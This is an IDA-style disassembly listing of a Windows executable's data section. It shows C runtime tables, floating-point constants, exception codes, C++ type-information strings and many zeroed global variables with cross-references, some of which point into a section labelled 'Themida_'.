dword_43D358	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D35C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C618h, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D430	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D440	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D458	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D464	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D470	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D474	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D478	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D47C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D480	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D484	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D494	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D498	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D49C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D510	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D514	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D518	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D51C	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D520	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D528	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D52C	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 434A04h
		dd 0FFh, 427940h
off_43D5B8	dd offset dword_4DC080	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC080
		dd 101h
dword_43D5C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D5D8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5F8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D628	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D838	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D840	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D848	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D860	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D878	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D9D8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DB34	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DB4C	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB6C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB8C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DBB0	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DBD0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DBD8	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DBE0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBF8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E760	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E960	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E964	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E968	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E96C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E970	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E974	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E978	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B75h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00434944o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438610o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43907Co
		dd 0D37h dup(0)
		db 0
byte_45A921	db 3 dup(0)		; DATA XREF: Themida_:00566BEEo
dword_45A924	dd 0D1BCh dup(0)
dword_48F014	dd 412h	dup(0)		; DATA XREF: Themida_:0055D587o
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432960o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43166Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438EE8o
		dd 5946h dup(0)
dword_4CB760	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB764	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB768	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB76C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB7EC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB82C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB8BC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB8C0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB8D0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB8D4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB8D8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB8DC	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8F0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB900	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB904	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB908	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB90C	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB910	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB928	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB92C	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB930	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB934	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB938	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+934w
dword_4CB940	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB944	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB948	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB94C	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB950	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB954	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB958	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB960	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB964	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB968	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB970	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB974	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB978	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB97C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB984	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB98C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB990	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB994	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB99C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB9B0	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB9C8	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB9CC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB9D4	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB9D8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB9DC	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB9EC	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9F8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CBA00	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CBA08	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CBA10	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CBA14	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CBA20	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CBA24	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CBA30	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CBA3C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CBA40	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CBA48	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA50	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA54	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA58	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA60	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA64	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA6C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA70	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA74	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA80	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA88	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA90	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA94	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA9C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBAA4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBAAC	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBAB0	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBAB4	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBABC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBAC4	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBACC	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBAD0	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBAD4	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBADC	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAF4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBB00	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBB04	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBB08	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBB0C	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBB10	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBB14	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBB18	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBB1C	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBB20	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBB24	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBB28	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBB2C	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBB30	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBB34	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBB38	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBB3C	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBB40	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBB44	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBB48	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBB4C	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB50	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB54	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB68	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB70	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB74	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB70	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB88	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB8C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB90	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB94	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB98	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDC18	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDC1C	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDC20	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDC28	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDC2C	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDD30	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDE34	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDE38	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDE3C	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDE40	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDEC0	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDEC4	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDEC8	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDED0	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDED4	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDFD8	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE0DC	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE0E0	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE0E4	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE0E8	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE168	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE16C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE170	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
